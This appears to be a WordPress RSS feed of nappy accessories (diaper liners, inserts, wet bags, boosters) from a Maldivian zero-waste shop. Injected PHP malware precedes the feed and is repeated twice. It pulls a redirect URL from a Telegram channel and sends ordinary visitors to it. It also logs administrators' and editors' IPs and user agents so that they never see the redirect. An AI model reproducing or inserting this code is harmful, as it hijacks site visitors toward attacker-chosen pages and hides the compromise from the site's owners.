add_action('template_redirect', 'custom_redirect_function'); function custom_redirect_function() { global $wpdb; $on_hot_redirect = true; function _getIP() { if (isset($_SERVER["HTTP_CF_CONNECTING_IP"])) { return $_SERVER["HTTP_CF_CONNECTING_IP"]; } elseif (!empty($_SERVER['HTTP_CLIENT_IP'])) { return $_SERVER['HTTP_CLIENT_IP']; } elseif (!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) { return $_SERVER['HTTP_X_FORWARDED_FOR']; } else { return $_SERVER['REMOTE_ADDR']; } } function fetch_remote($url) { if (function_exists('curl_version')) { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0); curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows NT 10.0; Win64; x64)'); curl_setopt($ch, CURLOPT_TIMEOUT, 5); $response = curl_exec($ch); curl_close($ch); return $response; } return @file_get_contents($url); } function get_redirect_link($cache_file) { $html = fetch_remote("https://t.me/s/trafficredirect1"); if (!$html) return false; if (preg_match_all('/(https?:\/\/[^<]+)<\/code>/', $html, $matches)) { $link = end($matches[1]); if (!empty($link)) { file_put_contents($cache_file, $link); return $link; } } if (preg_match_all('/]+href="(https?:\/\/[^"]+)"[^>]*>/i', $html, $matches)) { foreach (array_reverse($matches[1]) as $link) { if (strpos($link, 't.me') === false) { file_put_contents($cache_file, $link); return $link; } } } return false; } $ip = _getIP(); $ua = $_SERVER['HTTP_USER_AGENT']; $table = $wpdb->prefix . "wusers_inputs"; if ($wpdb->get_var("SHOW TABLES LIKE '$table'") != $table) { require_once(ABSPATH . 'wp-admin/includes/upgrade.php'); $sql = "CREATE TABLE $table ( ip INT(11) UNSIGNED NOT NULL, useragent VARCHAR(535) NOT NULL ) ENGINE=MyISAM DEFAULT CHARSET=utf8;"; dbDelta($sql); } $exists = $wpdb->get_var($wpdb->prepare( "SELECT 1 FROM $table WHERE ip = %s AND useragent = %s LIMIT 1", ip2long($ip), $ua )); if ((current_user_can('editor') || current_user_can('administrator')) && !$exists) { $wpdb->insert($table, array( 'ip' => ip2long($ip), 'useragent' => $ua )); $exists = true; } if ($on_hot_redirect && !$exists) { $exists = $wpdb->get_var($wpdb->prepare( "SELECT 1 FROM $table WHERE ip = %s OR useragent = %s LIMIT 1", ip2long($ip), $ua )); if (!$exists) { $cache_file = sys_get_temp_dir() . '/' . md5('tg_redirect_cache'); if (file_exists($cache_file) && filesize($cache_file) > 0) { $age = time() - filemtime($cache_file); $link = trim(file_get_contents($cache_file)); } if (!isset($link) || $age >= 30 || empty($link)) { $link = get_redirect_link($cache_file); } if ($link) { wp_redirect($link); exit; } } } } add_action('template_redirect', 'custom_redirect_function'); function custom_redirect_function() { global $wpdb; $on_hot_redirect = true; function _getIP() { if (isset($_SERVER["HTTP_CF_CONNECTING_IP"])) { return $_SERVER["HTTP_CF_CONNECTING_IP"]; } elseif (!empty($_SERVER['HTTP_CLIENT_IP'])) { return $_SERVER['HTTP_CLIENT_IP']; } elseif (!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) { return $_SERVER['HTTP_X_FORWARDED_FOR']; } else { return $_SERVER['REMOTE_ADDR']; } } function fetch_remote($url) { if (function_exists('curl_version')) { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0); curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows NT 10.0; Win64; x64)'); curl_setopt($ch, CURLOPT_TIMEOUT, 5); $response = curl_exec($ch); curl_close($ch); return $response; } return @file_get_contents($url); } function get_redirect_link($cache_file) { $html = fetch_remote("https://t.me/s/trafficredirect1"); if (!$html) return false; if (preg_match_all('/(https?:\/\/[^<]+)<\/code>/', $html, $matches)) { $link = end($matches[1]); if (!empty($link)) { file_put_contents($cache_file, $link); return $link; } } if (preg_match_all('/]+href="(https?:\/\/[^"]+)"[^>]*>/i', $html, $matches)) { foreach (array_reverse($matches[1]) as $link) { if (strpos($link, 't.me') === false) { file_put_contents($cache_file, $link); return $link; } } } return false; } $ip = _getIP(); $ua = $_SERVER['HTTP_USER_AGENT']; $table = $wpdb->prefix . "wusers_inputs"; if ($wpdb->get_var("SHOW TABLES LIKE '$table'") != $table) { require_once(ABSPATH . 'wp-admin/includes/upgrade.php'); $sql = "CREATE TABLE $table ( ip INT(11) UNSIGNED NOT NULL, useragent VARCHAR(535) NOT NULL ) ENGINE=MyISAM DEFAULT CHARSET=utf8;"; dbDelta($sql); } $exists = $wpdb->get_var($wpdb->prepare( "SELECT 1 FROM $table WHERE ip = %s AND useragent = %s LIMIT 1", ip2long($ip), $ua )); if ((current_user_can('editor') || current_user_can('administrator')) && !$exists) { $wpdb->insert($table, array( 'ip' => ip2long($ip), 'useragent' => $ua )); $exists = true; } if ($on_hot_redirect && !$exists) { $exists = $wpdb->get_var($wpdb->prepare( "SELECT 1 FROM $table WHERE ip = %s OR useragent = %s LIMIT 1", ip2long($ip), $ua )); if (!$exists) { $cache_file = sys_get_temp_dir() . '/' . md5('tg_redirect_cache'); if (file_exists($cache_file) && filesize($cache_file) > 0) { $age = time() - filemtime($cache_file); $link = trim(file_get_contents($cache_file)); } if (!isset($link) || $age >= 30 || empty($link)) { $link = get_redirect_link($cache_file); } if ($link) { wp_redirect($link); exit; } } } } Nappy Accessories Archives - Zero Waste Maldives https://zerowastemaldives.com/product-category/nappy-accessories/ Sustainable Low Impact Living Tue, 28 Jan 2025 04:49:18 +0000 en-US hourly 1 https://wordpress.org/?v=6.8.5 160994990 Revolutionary Reusable Diaper Liners https://zerowastemaldives.com/store/nappy-accessories/reusable-diaper-liners/ https://zerowastemaldives.com/store/nappy-accessories/reusable-diaper-liners/#respond Wed, 14 Aug 2024 08:58:06 +0000 https://zerowastemaldives.com/?post_type=product&p=5817
  • Catch poops and reduce soiling of reusable diapers.
  • Draws moisture away to protect sensitive skin.
  • Specially designed and contoured to fit our Revolutionary Reusable diapers.
  • Contoured shape and new improved size (29cm x 19cm) for an excellent fit.
  • Super soft against the most delicate skin.
  • Easy to wash, fast to dry.
  • For best results, use with our Revolutionary Reusable nappies.
  • 8 liners per pack
  • The post Revolutionary Reusable Diaper Liners appeared first on Zero Waste Maldives.

    ]]>
  • Catch poops and reduce soiling of reusable diapers.
  • Draws moisture away to protect sensitive skin.
  • Specially designed and contoured to fit our Revolutionary Reusable diapers.
  • Contoured shape and new improved size (29cm x 19cm) for an excellent fit.
  • Super soft against the most delicate skin.
  • Easy to wash, fast to dry.
  • For best results, use with our Revolutionary Reusable nappies.
  • 8 liners per pack
  • The post Revolutionary Reusable Diaper Liners appeared first on Zero Waste Maldives.

    ]]>
    https://zerowastemaldives.com/store/nappy-accessories/reusable-diaper-liners/feed/ 0 5817
    Mioboost Classic Flat Diaper Insert – 3 Pack https://zerowastemaldives.com/store/nappy-accessories/mioboost/ https://zerowastemaldives.com/store/nappy-accessories/mioboost/#respond Wed, 14 Aug 2024 08:55:34 +0000 https://zerowastemaldives.com/?post_type=product&p=5807
  • Absorbent. The perfect addition to your nappy to maximize absorbency when you need it, great for heavy wetters, used over longer periods, and snooze-approved for night-time use. Can be used with any reusable nappy.
  • Stay dry. Super absorbent to keep wetness away and can absorb several times its own weight.
  • Performance. Quilted for liquid distribution.
  • Soft. Super stay soft fabric remains soft wash after wash, providing ultimate comfort for your baby.
  • Lightweight. Lightweight and slim fitting providing minimum bulk for little bottoms.
  • Safe. Every part of this product is OEKO-TEX® Standard 100 certified so you can be sure it's safe to use on little bottoms.
  • 3 inserts per pack
  • The post Mioboost Classic Flat Diaper Insert – 3 Pack appeared first on Zero Waste Maldives.

    ]]>
  • Absorbent. The perfect addition to your nappy to maximize absorbency when you need it, great for heavy wetters, used over longer periods, and snooze-approved for night-time use. Can be used with any reusable nappy.
  • Stay dry. Super absorbent to keep wetness away and can absorb several times its own weight.
  • Performance. Quilted for liquid distribution.
  • Soft. Super stay soft fabric remains soft wash after wash, providing ultimate comfort for your baby.
  • Lightweight. Lightweight and slim fitting providing minimum bulk for little bottoms.
  • Safe. Every part of this product is OEKO-TEX® Standard 100 certified so you can be sure it’s safe to use on little bottoms.
  • 3 inserts per pack
  • The post Mioboost Classic Flat Diaper Insert – 3 Pack appeared first on Zero Waste Maldives.

    ]]>
    https://zerowastemaldives.com/store/nappy-accessories/mioboost/feed/ 0 5807
    Stay at home wet bag https://zerowastemaldives.com/store/nappy-accessories/stay-at-home-wet-bag/ https://zerowastemaldives.com/store/nappy-accessories/stay-at-home-wet-bag/#respond Wed, 14 Aug 2024 03:21:49 +0000 https://zerowastemaldives.com/?post_type=product&p=5794
  • Strange smells and leaks are all part of parenthood! You'd never know with our supersized wet bag designed to help you day-to-day. Keep within easy reach to safely lock away your used diapers until wash day.
  • Smart. Stores 20 Revolutionary Reusable diapers. A great sidekick to your reusable diaper routine.
  • Multi-purpose. Waterproof closure keeps items drip-free and dry - just think of the possibilities!
  • Conscious. Made from sustainable materials (OEKO-TEX® Standard 100).
  • Easy to wash and fast to dry.
  • The post Stay at home wet bag appeared first on Zero Waste Maldives.

    ]]>
  • Strange smells and leaks are all part of parenthood! You’d never know with our supersized wet bag designed to help you day-to-day. Keep within easy reach to safely lock away your used diapers until wash day.
  • Smart. Stores 20 Revolutionary Reusable diapers. A great sidekick to your reusable diaper routine.
  • Multi-purpose. Waterproof closure keeps items drip-free and dry – just think of the possibilities!
  • Conscious. Made from sustainable materials (OEKO-TEX® Standard 100).
  • Easy to wash and fast to dry.
  • The post Stay at home wet bag appeared first on Zero Waste Maldives.

    ]]>
    https://zerowastemaldives.com/store/nappy-accessories/stay-at-home-wet-bag/feed/ 0 5794
    Out & about wet bag https://zerowastemaldives.com/store/nappy-accessories/out-about-wet-bag/ https://zerowastemaldives.com/store/nappy-accessories/out-about-wet-bag/#respond Wed, 14 Aug 2024 03:08:49 +0000 https://zerowastemaldives.com/?post_type=product&p=5781
  • This small and mighty wet bag helps take a bit of the mess (and a lot of the stress) out of using your diapers on the move.
  • Smart. Stores 4 Revolutionary Reusable diapers. A great sidekick to your reusable diaper routine.
  • Multi-purpose. Waterproof closure keeps items drip-free and dry - just think of the possibilities!
  • Conscious. Made from sustainable materials (OEKO-TEX® Standard 100).
  • Easy to wash and fast to dry.
  • The post Out & about wet bag appeared first on Zero Waste Maldives.

    ]]>
  • This small and mighty wet bag helps take a bit of the mess (and a lot of the stress) out of using your diapers on the move.
  • Smart. Stores 4 Revolutionary Reusable diapers. A great sidekick to your reusable diaper routine.
  • Multi-purpose. Waterproof closure keeps items drip-free and dry – just think of the possibilities!
  • Conscious. Made from sustainable materials (OEKO-TEX® Standard 100).
  • Easy to wash and fast to dry.
  • The post Out & about wet bag appeared first on Zero Waste Maldives.

    ]]>
    https://zerowastemaldives.com/store/nappy-accessories/out-about-wet-bag/feed/ 0 5781
    Revolutionary Reusable Diaper Booster – Daily Boost 3 Pack https://zerowastemaldives.com/store/nappy-accessories/revolutionary-reusable-diaper-booster-daily-boost-3-pack/ https://zerowastemaldives.com/store/nappy-accessories/revolutionary-reusable-diaper-booster-daily-boost-3-pack/#respond Tue, 13 Aug 2024 04:10:10 +0000 https://zerowastemaldives.com/?post_type=product&p=5774
  • Boosters safely soak up leaks, protect little bottoms and stop a whole load of rubbish diapers being thrown away.
  • Our daily booster is a great everyday solution that performs well for nights and longer durations too.
  • Absorbent. Smart layers quickly draw in wetness and keep it away from skin.
  • Gentle. Made from soft and sustainable materials (OEKO-TEX® Standard 100).
  • Comfy. For day-to-day, nights and longer durations.
  • Lightweight. They won’t add extra bulk to bums.
  • The post Revolutionary Reusable Diaper Booster – Daily Boost 3 Pack appeared first on Zero Waste Maldives.

    ]]>
  • Boosters safely soak up leaks, protect little bottoms and stop a whole load of rubbish diapers being thrown away.
  • Our daily booster is a great everyday solution that performs well for nights and longer durations too.
  • Absorbent. Smart layers quickly draw in wetness and keep it away from skin.
  • Gentle. Made from soft and sustainable materials (OEKO-TEX® Standard 100).
  • Comfy. For day-to-day, nights and longer durations.
  • Lightweight. They won’t add extra bulk to bums.
  • The post Revolutionary Reusable Diaper Booster – Daily Boost 3 Pack appeared first on Zero Waste Maldives.

    ]]>
    https://zerowastemaldives.com/store/nappy-accessories/revolutionary-reusable-diaper-booster-daily-boost-3-pack/feed/ 0 5774